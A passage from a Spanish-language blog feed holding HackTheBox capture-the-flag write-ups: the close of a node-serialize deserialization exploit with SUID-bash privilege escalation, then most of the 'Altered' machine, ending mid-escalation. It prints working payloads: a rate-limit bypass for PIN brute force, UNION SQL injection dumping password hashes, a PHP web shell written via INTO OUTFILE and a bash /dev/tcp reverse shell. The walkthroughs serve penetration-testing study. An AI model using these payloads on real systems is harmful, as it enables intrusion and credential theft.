  <p>Los datos no confiables pasados a la función <strong><code class="language-plaintext highlighter-rouge">unserialize()</code></strong> en el módulo <strong><code class="language-plaintext highlighter-rouge">node-serialize</code></strong> pueden ser explotados para lograr la ejecución arbitraria de código pasando un objeto JavaScript serializado con una expresión de función invocada inmediatamente (<strong><code class="language-plaintext highlighter-rouge">IIFE</code></strong>) <strong>Immediately invoked function expression</strong>.</p>

</blockquote>

<h3 id="-construcción-del-payload">→ Construcción del Payload</h3>
<p>Para construir el payload es necesario contar con la librería de node.js <strong><code class="language-plaintext highlighter-rouge">node-serialize</code>.</strong> Está la podemos instalar con <strong><code class="language-plaintext highlighter-rouge">npm</code></strong>:  <br />
<img src="https://i.imgur.com/3JZMwX5.png" alt="nodeserialize" />
Al ejecutarlo observamos que nos crea el objeto:   <br />
<img src="https://i.imgur.com/TQAvIaM.png" alt="obcreated" /></p>

<p>Como menciona el post, Ahora tenemos una cadena serializada que puede ser deserializada con la función <strong><code class="language-plaintext highlighter-rouge">unserialize()</code></strong>. Pero el problema es que la ejecución del código no ocurrirá hasta que disparemos la función correspondiente a la propiedad rce del objeto.</p>
<blockquote>
  <p>Más tarde descubrí que podemos usar la expresión de función invocada inmediatamente (IIFE) de JavaScript para llamar a la función. Si usamos el doble paréntesis de IIFE <strong><code class="language-plaintext highlighter-rouge">()</code></strong> después del cuerpo de la función, la función será invocada cuando el objeto sea creado. Funciona de forma similar a un constructor de clase en C++.</p>

</blockquote>

<p>Ahora se llama a la función <strong><code class="language-plaintext highlighter-rouge">serialize()</code></strong> con el código del objeto modificado:   <br />
<img src="https://i.imgur.com/xFJQu1B.png" alt="iife" />
La vulnerabilidad en la aplicación web es que lee la cookie de la petición HTTP, realiza la decodificación base64 del valor de la cookie y lo pasa a la función <strong><code class="language-plaintext highlighter-rouge">unserialize()</code></strong>. Como la cookie es una entrada no confiable, un atacante puede crear un valor de cookie malicioso para explotar esta vulnerabilidad.</p>

<h2 id="shell-as-sun">Shell as Sun</h2>
<p>Para agilizar la explotación podemos utilizar la herramienta <strong><a href="https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py">nodejsshell.py</a></strong> para obtener una reverse shell:   <br />
<img src="https://i.imgur.com/AmB3Dmk.png" alt="shellcommand" />
Copiamos el payload entregado y lo reemplazamos en el primer script de la siguiente forma:   <br />
<img src="https://i.imgur.com/qD8KDZG.png" alt="shellreplaced" />
Desde ya nos ponemos en escucha:   <br />
<img src="https://i.imgur.com/g42VcSr.png" alt="nclisten" />
Y codificamos el payload en base64 para enviarlo en la cookie:    <br />
<img src="https://i.imgur.com/7ssQEVv.png" alt="codedpayload" />
<img src="https://i.imgur.com/7jda20N.png" alt="cookiereplace" />
Observamos que ya tenemos acceso:  <br />
<img src="https://i.imgur.com/9KgAmt8.png" alt="shellrec" /></p>
<h2 id="privesc">Privesc</h2>
<p>Al recibir la conexión notamos que estamos en el directorio del usuario sun. Dentro de este notamos el fichero <strong><code class="language-plaintext highlighter-rouge">output.txt</code></strong>:  <br />
<img src="https://i.imgur.com/Vz6Drjx.png" alt="sunfolder" /> 
El cual si observamos podemos notar el mensaje de: <strong><code class="language-plaintext highlighter-rouge">Script is running...</code></strong> Pero no sabemos que script. Además notamos que el output es generado por el usuario <strong><code class="language-plaintext highlighter-rouge">root</code></strong>:  <br />
<img src="https://i.imgur.com/ptm8Pn6.png" alt="rootfile" /></p>
<h3 id="detectando-procesos-con-pspy">Detectando procesos con Pspy</h3>
<p>En base al fichero detectado podemos pensar que se esta ejecutando un script que no podemos detectar. Para esto utilizaremos la herramienta <strong><a href="https://github.com/DominicBreuker/pspy">pspy</a></strong> la cual debemos transferir a la maquina victima:   <br />
<img src="https://i.imgur.com/4JJm9SW.png" alt="psytransfered" />
Le damos permisos de ejecución y la ejecutamos. Y luego de esperar por un rato podemos observar que el UID 0 correspondiente al usuario root, está ejecutando el siguiente comando:   <br />
<img src="https://i.imgur.com/o4HET9z.png" alt="pspydetect" />
Vemos que root ejecuta el script <strong><code class="language-plaintext highlighter-rouge">script.py</code></strong> en el directorio <strong><code class="language-plaintext highlighter-rouge">Documents</code></strong> del usuario <strong><code class="language-plaintext highlighter-rouge">sun</code></strong> para luego depositar el fichero <strong><code class="language-plaintext highlighter-rouge">output.txt</code>.</strong>  Al observar el contenido del script podemos ver que simplemente ejecuta un print de “<strong><code class="language-plaintext highlighter-rouge">Script is running…</code></strong>” por lo que realmente no hace nada. Pero lo curioso de esto es que el propietario del script es el usuario que ya tenemos comprometido:   <br />
<img src="https://i.imgur.com/ilICJzG.png" alt="script" />
En base a esto podemos modificar el script para que se cambie el permiso de la <strong><code class="language-plaintext highlighter-rouge">/bin/bash</code></strong> a <strong><code class="language-plaintext highlighter-rouge">SUID</code></strong>:    <br />
<img src="https://i.imgur.com/qGoLPlE.png" alt="change" />
Ahora debemos esperar a que el usuario root ejecute el script para poder cambiar el permiso de la <strong><code class="language-plaintext highlighter-rouge">/bin/bash</code></strong> y escalar privilegios al usuario root: <br />
<img src="https://i.imgur.com/pdiaorD.png" alt="suid" /></p>

<h2 id="shell-as-root">Shell as root</h2>
<p>Ya con permiso SUID en la bash podemos utilizar el parámetro -p para ejecutarla con permisos de root:   <br />
<img src="https://i.imgur.com/kRLRlSa.png" alt="pwned" />
Con esto ya podemos leer la flag del usuario root.</p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Web" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Altered - HackTheBox Writeup</title><link href="https://t3tsv0.github.io/hackthebox/2024/03/08/htb-altered.html" rel="alternate" type="text/html" title="Altered - HackTheBox Writeup" /><published>2024-03-08T00:00:00+00:00</published><updated>2024-03-08T00:00:00+00:00</updated><id>https://t3tsv0.github.io/hackthebox/2024/03/08/htb-altered</id><content type="html" xml:base="https://t3tsv0.github.io/hackthebox/2024/03/08/htb-altered.html"><![CDATA[<p><img src="https://i.postimg.cc/fTVWvKrR/altered.png" alt="altered" /></p>

<h2 id="reconocimiento-inicial">Reconocimiento Inicial</h2>
<p>Como siempre para comprobar que tenemos conexión entre nuestra maquina de atacante y el host victima enviamos una traza ICMP. Comprobamos de que el host se encuentra activo:
<img src="https://i.postimg.cc/g2x2sPN5/icmp.png" alt="icmp" /></p>

<p>A continuación realizamos un scan con nmap para visualizar los puertos que se encuentren abiertos en el host:
<img src="https://i.postimg.cc/y6Sd0Kpb/nmap.png" alt="nmap1" /></p>

<p>Tenemos el puerto 22, 80 abierto. Realizamos otro scan con nmap para detectar la versión de los servicios:
<img src="https://i.postimg.cc/ydDFFG2y/nmap2.png" alt="nmap2" /></p>

<h2 id="reconocimiento-web">Reconocimiento Web</h2>
<p>El scan anterior revelo que el puerto 80 esta habilitado utilizando un servidor nginx. Podemos ingresar a este desde el navegador web:
<img src="https://i.postimg.cc/Nfcdcg3h/login1.png" alt="login1" /></p>

<p>Vemos que tenemos un panel de Login. Intentamos realizar las típicas comprobaciones de usuarios y contraseñas por defecto como test;test:
<img src="https://i.postimg.cc/PqXxs84L/login2.png" alt="login2" /></p>

<p>Esto nos entrega el mensaje de <strong>Invalid Username</strong>, lo que puede ser un mensaje genérico que nos permita enumerar usuarios. Ahora probamos con admin;admin:
<img src="https://i.postimg.cc/V6jmJfDy/login3.png" alt="login3" /></p>

<p>En este caso vemos que el mensaje es <strong>Invalid Password</strong>. Además vemos un botón de <strong>Forgot Password?</strong> que al presionar observamos que se nos solicita un usuario. Utilizaremos el de admin en este caso ya que sabemos que es un usuario que existe:
<img src="https://i.postimg.cc/T30f8LZN/forgot-pass.png" alt="fp" /></p>

<p>Al presionar en <strong>submit</strong> se nos redirige a <em>http://10.10.11.159/reset</em> en donde se nos muestra el mensaje de <strong>“Enter the pincode emailed to you”</strong>. Lo que nos indica que se nos ha enviado un código PIN al email:
<img src="https://i.postimg.cc/QttMYkCq/pin1.png" alt="pin" /></p>

<p>Al probar con el código 1234 el cual resulta ser invalido se nos muestra el mensaje <strong>“Invalid Pincode. Be sure to use the same browser you requested from.”</strong>. Si observamos la petición submit <em>proxeada</em> con BurpSuite podemos identificar que esta petición arrastra 2 cookies <code class="language-plaintext highlighter-rouge">laravel_session</code> y <code class="language-plaintext highlighter-rouge">XSRF-TOKEN</code>:
<img src="https://i.postimg.cc/HxCqVpD8/prox1.png" alt="prox1" /></p>

<h2 id="pin-brute-force">PIN Brute Force</h2>
<p>Observamos que se realiza una petición con el método <code class="language-plaintext highlighter-rouge">POST</code> en <code class="language-plaintext highlighter-rouge">/api/resettoken</code>.  Utilizamos Intruder para recorrer el pin desde el 0000 al 9999 para poder obtenerlo mediante fuerza bruta:
<img src="https://i.postimg.cc/WbJx6FNq/409burte.png" alt="429brute" /></p>

<p>Pero vemos que luego de algunas peticiones el código de estado es <strong>429</strong>. Lo que significa que hemos realizado demasiadas peticiones.</p>

<h3 id="rate-limit-bypass">Rate Limit Bypass</h3>
<p>Existen diversas formas de realizar un bypass cuando el servidor bloquea nuestras peticiones, pero mi favorita es utilizar la cabecera <strong><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code></strong> para hacer pasar la petición original por otra IP. Lo ideal es tener un diccionario de IPs para poder irlas rotando en la cabecera <strong><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code></strong>. Podemos crear un diccionario de IPs con el siguiente script en python:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">51</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">251</span><span class="p">):</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"10.10.</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>
<p><img src="https://i.postimg.cc/Zq1wqjNf/ipgen.png" alt="ipgen" /></p>

<p>En el diccionario ya contamos con más de 12000 ips distintas para realizar el ataque. Utilizaremos Intruder de BurSuite para realizar un ataque de tipo <strong><code class="language-plaintext highlighter-rouge">Pitchfork</code></strong> sobre <strong><code class="language-plaintext highlighter-rouge">/api/resettoken</code></strong> en la cual agregaremos la cabecera <strong><code class="language-plaintext highlighter-rouge">X-Forwarded-For</code></strong> con un valor aleatorio que recorreremos con el diccionario creado y además recorreremos nuevamente la lista de posibles PIN:
<img src="https://i.postimg.cc/1tdsXkHk/pitchfork.png" alt="pitchfork" /></p>

<p>Configuramos el payload 1 seleccionado el tipo en Simple list y cargamos el diccionario en Load:
<img src="https://i.postimg.cc/MHsPzwmB/pay1.png" alt="pay1" /></p>

<p>El Payload 2 lo configuramos igual al primer ataque realizado con Intruder:
<img src="https://i.postimg.cc/XJqBT0qm/pay2.png" alt="pay2" /></p>

<p>Iniciamos el ataque y observamos que ahora todas las peticiones son código de estado <strong><code class="language-plaintext highlighter-rouge">200</code></strong>
<img src="https://i.postimg.cc/YSqxqZjf/200brute.png" alt="200brute" /></p>

<p>Al finalizar el ataque podemos identificar que tenemos una petición con una longitud inferior a la del resto el cual corresponde al PIN 9933:
<img src="https://i.postimg.cc/T3kDQwYg/pinbrute.png" alt="pinbrute" /></p>

<p>Si seguimos esta petición en el navegador podemos observar que ahora somos capaces de cambiar la contraseña. Para este caso la contraseña sera <strong>“h4rri”</strong>:
<img src="https://i.postimg.cc/V6KpkXY5/cp.png" alt="changepass" /></p>

<p>Y al dar a <strong><code class="language-plaintext highlighter-rouge">Submit</code></strong> observamos que hemos cambiado la contraseña ya que se refleja el mensaje <strong>“Password Changed”</strong>
<img src="https://i.postimg.cc/1X6dc2GV/passchanged.png" alt="passchanged" /></p>

<h2 id="login-as-admin">Login as Admin</h2>
<p>Ahora si utilizamos las credenciales para iniciar sesión podremos ver que lo hacemos como el usuario admin:
<img src="https://i.postimg.cc/m2Bj5PR5/login4.png" alt="login" /></p>

<p>Al presionar en <strong><code class="language-plaintext highlighter-rouge">view</code></strong> en cualquier <em>Profile</em> se nos muestra un mensaje correspondiente al perfil del usuario:
<img src="https://i.postimg.cc/hj0zzPwX/profile.png" alt="profile_view" /></p>

<p>Al observar las peticiones de esta interración en Burp nos fijamos que se revela el campo <strong><code class="language-plaintext highlighter-rouge">id</code></strong> y <strong><code class="language-plaintext highlighter-rouge">secret</code></strong> que se están obteniendo mediante <strong><code class="language-plaintext highlighter-rouge">GET</code></strong>:
<img src="https://i.postimg.cc/YC1pqDT9/getparams.png" alt="getparams" /></p>

<p>Enviaremos esta petición al <strong>Repeater</strong> para modificar ambos campos, Al hacer esto observamos que se nos muestra el mensaje de “<strong>Tampered user input detected</strong>”:   <br />
<img src="https://i.postimg.cc/dt9YbZCk/tampered.png" alt="tampered1" /></p>

<p>Al modificar cualquiera de los dos campos se presenta el mensaje de error de la captura anterior. Lo que me indica que algo esta detectando que los campos se están modificando. Podemos probar cambiando el método de <strong><code class="language-plaintext highlighter-rouge">GET</code></strong> a <strong><code class="language-plaintext highlighter-rouge">POST</code></strong>:
<img src="https://i.postimg.cc/hPDw7yJv/methodchange.png" alt="methodchanged" /></p>

<p>Al realizar esto observamos un mensaje de error en formato <strong><code class="language-plaintext highlighter-rouge">json</code></strong> con esto en mente adaptamos el formato a <strong><code class="language-plaintext highlighter-rouge">json</code></strong> y cambiamos también el contenido de la cabecera <strong><code class="language-plaintext highlighter-rouge">Content-Type</code></strong>:
<img src="https://i.postimg.cc/BbLjhcbK/ctype.png" alt="ctype" /></p>

<p>Vemos que el mensaje de error sigue siendo el mismo, probaremos cambiando al método <strong><code class="language-plaintext highlighter-rouge">GET</code></strong> nuevamente:
<img src="https://i.postimg.cc/05bcSzPg/getagain.png" alt="getagain" /></p>

<p>Y como se ve ahora si se visualizar el contenido original de la respuesta. Además hay que tener en cuenta que los datos se están enviando en formato <strong><code class="language-plaintext highlighter-rouge">json</code></strong>. 
Si volvemos a modificar los datos con el formato entregado veremos lo siguiente:
<img src="https://i.postimg.cc/dt9YbZCk/tampered.png" alt="tampered2" /></p>

<p>Por lo que debemos realizar una evasión sobre estas validaciones.</p>
<h2 id="type-juggling">Type Juggling</h2>
<p>Si pensamos en como esta construido el código del servidor debemos saber que lenguaje esta utilizando. Para esto generalmente utilizo Wappalyzer o whatweb para CLI:   <br />
<img src="https://i.postimg.cc/pV6ccDqX/wapa.png" alt="wapa" /></p>

<p>Y vemos que la aplicación utiliza como lenguaje de programación PHP.
Realizando pruebas sobre los parámetros agregando datos debemos determinar si esa comparación se hace con <strong><code class="language-plaintext highlighter-rouge">==</code></strong> y no <strong><code class="language-plaintext highlighter-rouge">===</code></strong>, el Type Juggling evitaría la comprobación. Probamos cambiar <strong><code class="language-plaintext highlighter-rouge">secret</code></strong> a <strong><code class="language-plaintext highlighter-rouge">true</code></strong>:  <br />
<img src="https://i.postimg.cc/RVCft8cW/tj1.png" alt="tj1" /></p>

<p>Acabamos de abusar de esta característica al manipular los datos de entrada de una aplicación PHP para realizar comparaciones que resulten en valores inesperados o falsos positivos, lo que puede conducir a vulnerabilidades de seguridad como la inyección de SQL o la omisión de autenticación.
Incluso se acepta como cadena. Lo que refuerza la probabilidad de SQL Injection:  <br />
<img src="https://i.postimg.cc/mZPhGsNN/sqlidetect.png" alt="sqlidetect" /></p>

<h2 id="sql-injection">SQL Injection</h2>
<p>Modificaremos el valor del parámetro <strong>id</strong> para ingresando una comilla simple para detectar si se produce algún error de sintaxis de SQL: <br />
<img src="https://i.postimg.cc/3JyG9Gch/sqlidetect.png" alt="sqli_detected" /></p>

<p>Como vemos se produce un error y el servidor responde con un código de estado <strong>500</strong>. Realizamos un ordenamiento por columnas para determinar la cantidad de estas en la tabla: <br />
<img src="https://i.postimg.cc/1X1zHgnm/orderby4.png" alt="orderby4" /></p>

<p>Como se aprecia al ordenar por 4 el error persiste. Caso contrario si ordenamos por 3 volveremos a visualizar el texto del perfil en cuestión:
<img src="https://i.postimg.cc/CxqQyzzT/orderby3.png" alt="ordby3" /></p>

<p>Desde este punto podemos probar realizando una inyección SQL basada en UNION:
<img src="https://i.postimg.cc/7hknc8Kg/sqlunion.png" alt="sqlunion" /></p>

<p>La sintaxis funciona pero no vemos reflejado ninguno de los 3 valores.
Observamos que si cambiamos el valor <strong><code class="language-plaintext highlighter-rouge">8</code></strong> del <strong><code class="language-plaintext highlighter-rouge">id</code></strong> por una cadena envuelta en comillas simples vemos reflejado el valor 3:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">"'H4RR1' UNION SELECT 1,2,3-- -"</span>
</code></pre></div></div>
<p><img src="https://i.postimg.cc/LshSqGBB/sqlsintax.png" alt="sqlsintax" /></p>

<h3 id="enumeración-de-la-bd">Enumeración de la BD</h3>
<p>Vemos que la base de datos en uso es <strong>uhc</strong>:   <br />
<img src="https://i.postimg.cc/8zZJgQzh/bd.png" alt="bd" /></p>

<p>Ahora enumeraremos las tablas de esta base de datos:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">table_names</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">tables</span> <span class="k">WHERE</span> <span class="n">table_schema</span><span class="o">=</span><span class="s1">'uhc'</span>
</code></pre></div></div>
<p><img src="https://i.postimg.cc/y6pbxWp5/bdenum.png" alt="bdenum" /></p>

<p>Y vemos la tabla de interés <strong><code class="language-plaintext highlighter-rouge">users</code></strong>. Por lo que procedemos a enumerarla:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="k">column_name</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">information_schema</span><span class="p">.</span><span class="n">columns</span> <span class="k">WHERE</span> <span class="k">table_name</span> <span class="o">=</span> <span class="s1">'users'</span>
</code></pre></div></div>

<p><img src="https://i.postimg.cc/Hxq307Gs/userstb.png" alt="userstb" />
Desde este punto creamos una query para extraer el contenido de las columnas <strong><code class="language-plaintext highlighter-rouge">name</code></strong> y <strong><code class="language-plaintext highlighter-rouge">password</code></strong>:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">GROUP_CONCAT</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="s1">':'</span><span class="p">,</span><span class="n">password</span><span class="p">,</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="p">)</span> <span class="k">FROM</span> <span class="n">uhc</span><span class="p">.</span><span class="n">users</span><span class="c1">-- -</span>
</code></pre></div></div>
<p><img src="https://i.postimg.cc/9fq7dgcZ/passdb.png" alt="passdb" /></p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">big0us</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">L3X8m6P1w</span><span class="p">.</span><span class="n">F2aO011ffWr</span><span class="p">.</span><span class="mi">587</span><span class="n">vGCYeFXuXwE2vr3DbrYkcuF741N2</span>
<span class="p">,</span><span class="n">celesian</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="mi">8</span><span class="n">ewqN3lE9iazbo8sFiwUleeNIbOpAMRcaMzeiXJ50wlItN2Kd5pI6</span>
<span class="p">,</span><span class="n">luska</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">KdZCbzxXRsBOBHI</span><span class="p">.</span><span class="mi">91</span><span class="n">XIz</span><span class="p">.</span><span class="n">O</span><span class="p">.</span><span class="n">lQQ3TqeY8uonzAumoAv6v9JVQv3g</span><span class="p">.</span>
<span class="p">,</span><span class="n">tinyb0y</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">X501zxcWLKXf</span><span class="p">.</span><span class="n">OteOaPILuhMBIalFjid5bBjBkrst</span><span class="o">/</span><span class="n">cynKL</span><span class="o">/</span><span class="n">DLfiS</span>
<span class="p">,</span><span class="n">o</span><span class="o">-</span><span class="n">tafe</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">XIrsc</span><span class="p">.</span><span class="n">ma</span><span class="o">/</span><span class="n">p0qhvWm9</span><span class="p">.</span><span class="n">sqyOnA5184ICWNverXQVLQJD30nCw7</span><span class="p">.</span><span class="n">PyxW</span>
<span class="p">,</span><span class="n">watchdog</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">RTbD7i5I53rofpAfr83YcOK2XsTglO01jVHZajEOSH1tGXiU8nzEq</span>
<span class="p">,</span><span class="n">mydonut</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="mi">7</span><span class="n">DFlqs</span><span class="o">/</span><span class="n">eXGm0JPVebpPheuEx3gXPhTnRmN1Ia5wutECZg1El7cVJK</span>
<span class="p">,</span><span class="n">bee</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="n">Furn1Q0Oy8IbeCslv7</span><span class="p">.</span><span class="n">Oy</span><span class="p">.</span><span class="n">psgPoCH2ds3FZfJeQlCdxJ0WVhLKmzm</span>
<span class="p">,</span><span class="k">admin</span><span class="p">:</span><span class="err">$</span><span class="mi">2</span><span class="n">y</span><span class="err">$</span><span class="mi">10</span><span class="err">$</span><span class="mi">37</span><span class="n">Q1SanFMybo1MXUncgI1uYt5G1KdqaHMWlBjcY7i63aGcluXNrfu</span>
</code></pre></div></div>

<p>Vemos que las contraseñas estan hasheadas. No probaremos crackearlas e intentar ingresar por SSH.</p>

<h3 id="leyendo-ficheros-internos">Leyendo ficheros internos</h3>
<p>Podemos enumerar ficheros internos con la vulnerabilidad de SQLi mediante el comando <strong><code class="language-plaintext highlighter-rouge">LOAD_FILE</code></strong></p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="n">LOAD_FILE</span><span class="p">(</span><span class="s1">'/etc/passwd'</span><span class="p">)</span><span class="c1">-- -</span>
</code></pre></div></div>
<p><img src="https://i.postimg.cc/RVk93gpj/passwd.png" alt="pswd" /></p>

<p>Podemos probar enumerar la clave privada de SSH del usuario:   <br />
<img src="https://i.postimg.cc/Fzf5zSyr/idrsafail.png" alt="rsafail" /></p>

<h3 id="web-shell-via-sqli">Web Shell via SQLi</h3>
<p>Podemos probar una técnica para subir una web shell desde la consulta SQL. Primero debemos saber en que ruta reside el servidor, sabemos que el servidor es un nginx. Entonces podemos probar con rutas de servidores nginx como <strong><code class="language-plaintext highlighter-rouge">/etc/nginx/sites-enabled/default</code></strong>:  <br />
<img src="https://i.postimg.cc/90HKmkQp/nginx.png" alt="nginx" /></p>

<p>Observamos que se revela la ruta <strong><code class="language-plaintext highlighter-rouge">/srv/altered/public</code></strong>. Quiero pensar que tengo permiso de escritura por lo que subire una webshell de la siguiente forma:</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">UNION</span> <span class="k">SELECT</span> <span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="o">&lt;?</span><span class="n">php</span> <span class="k">system</span><span class="p">(</span><span class="err">$</span><span class="n">_REQUEST</span><span class="p">[</span><span class="err">\</span><span class="nv">"cmd</span><span class="se">\"</span><span class="nv">]); ?&gt; into outfile '/srv/altered/public/wse.php'-- -
</span></code></pre></div></div>
<p><img src="https://i.postimg.cc/WzpmwmWV/wshell.png" alt="wshell" /></p>

<p>Al ingresar en la url el nombre asignado a la webshell <em>“wse.php”</em> observamos que se reflejan los valores 1, 2 y el valor donde debería ir 3 se ve vacío:   <br />
<img src="https://i.postimg.cc/TwN1Br2f/wse1.png" alt="wse" /></p>

<p>Pasamos el parámetro cmd por la url y podremos ejecutar comandos:
<img src="https://i.postimg.cc/bvN2MY00/wse2.png" alt="wse2" /></p>

<h2 id="reverse-shell-as-www-data">Reverse shell as www-data</h2>
<p>Ya que podemos ejecutar comandos utilizare una reverse shell simple en bash:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">bash</span> <span class="o">-</span><span class="k">c</span> <span class="nv">"bash -i &gt;&amp; /dev/tcp/10.10.14.24/443 0&gt;&amp;1"</span>
<span class="n">Posteriormente</span> <span class="n">la</span> <span class="n">URL</span><span class="o">-</span><span class="n">Encodeamos</span><span class="p">:</span>
<span class="o">%</span><span class="mi">62</span><span class="o">%</span><span class="mi">61</span><span class="o">%</span><span class="mi">73</span><span class="o">%</span><span class="mi">68</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">2</span><span class="n">d</span><span class="o">%</span><span class="mi">63</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">22</span><span class="o">%</span><span class="mi">62</span><span class="o">%</span><span class="mi">61</span><span class="o">%</span><span class="mi">73</span><span class="o">%</span><span class="mi">68</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">2</span><span class="n">d</span><span class="o">%</span><span class="mi">69</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">3</span><span class="n">e</span><span class="o">%</span><span class="mi">26</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">2</span><span class="n">f</span><span class="o">%</span><span class="mi">64</span><span class="o">%</span><span class="mi">65</span><span class="o">%</span><span class="mi">76</span><span class="o">%</span><span class="mi">2</span><span class="n">f</span><span class="o">%</span><span class="mi">74</span><span class="o">%</span><span class="mi">63</span><span class="o">%</span><span class="mi">70</span><span class="o">%</span><span class="mi">2</span><span class="n">f</span><span class="o">%</span><span class="mi">31</span><span class="o">%</span><span class="mi">30</span><span class="o">%</span><span class="mi">2</span><span class="n">e</span><span class="o">%</span><span class="mi">31</span><span class="o">%</span><span class="mi">30</span><span class="o">%</span><span class="mi">2</span><span class="n">e</span><span class="o">%</span><span class="mi">31</span><span class="o">%</span><span class="mi">34</span><span class="o">%</span><span class="mi">2</span><span class="n">e</span><span class="o">%</span><span class="mi">32</span><span class="o">%</span><span class="mi">34</span><span class="o">%</span><span class="mi">2</span><span class="n">f</span><span class="o">%</span><span class="mi">34</span><span class="o">%</span><span class="mi">34</span><span class="o">%</span><span class="mi">33</span><span class="o">%</span><span class="mi">20</span><span class="o">%</span><span class="mi">30</span><span class="o">%</span><span class="mi">3</span><span class="n">e</span><span class="o">%</span><span class="mi">26</span><span class="o">%</span><span class="mi">31</span><span class="o">%</span><span class="mi">22</span>
</code></pre></div></div>

<p>Al enviar el comando en el navegador y al estar a la escucha con netcat vemos que recibimos la shell:   <br />
<img src="https://i.postimg.cc/nLGG9cZN/revaswww.png" alt="revwww" /></p>
<h3 id="tratamiento-tty">Tratamiento TTY</h3>
<p>Para avanzar cómodamente realizaremos el tratamiento de la tty para obtener una consola interactiva. Escribimos la siguiente secuencia de comandos para poder obtener una consola interactiva o fully tty:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>script /dev/null <span class="nt">-c</span> bash
Ctrl+Z
<span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span><span class="nb">fg
</span>reset xterm
<span class="nb">export </span><span class="nv">TERM</span><span class="o">=</span>xterm
<span class="nb">export </span><span class="nv">SHELL</span><span class="o">=</span>bash
</code></pre></div></div>
<p><img src="https://i.postimg.cc/CLZpgdVh/tty.png" alt="tty" /></p>

<h2 id="escalando-privilegios">Escalando privilegios</h2>
<p>Para escalar privilegios en un host linux podemos utilizar herramientas como LinPeas para automatizar esta parte. Generalmente comienzo por enumerar el kernel del sistema:  <br />
<img src="https://i.postimg.cc/VNj939Nx/Kernel.png" alt="kernel" /></p>

<p>Vemos que la versión de kernel es la <strong>5.16.0.-051600-generic</strong>. Si buscamos exploits relacionados a este encontraremos el CVE-2022-0847 el cual corresponde a una escalada local de privilegios (Dirty Pipe).</p>

<p>Buscando un exploit podemos dar con el siguiente, que requiere de un SUID para funcionar:
<a href="https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c">Exploit</a></p>

<p>Ahora debemos buscar permisos SUID en binarios del sistema:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-perm</span> <span class="nt">-4000</span> 2&gt;/dev/null
</code></pre></div></div>
<p><img src="https://i.postimg.cc/y6JhKzWh/suid.png" alt="suid" />
Podemos ver que esta el binario de <strong><code class="language-plaintext highlighter-rouge">pkexec</code></strong>. Con el cual podemos intentar aprovecharnos para escalar privilegios. 
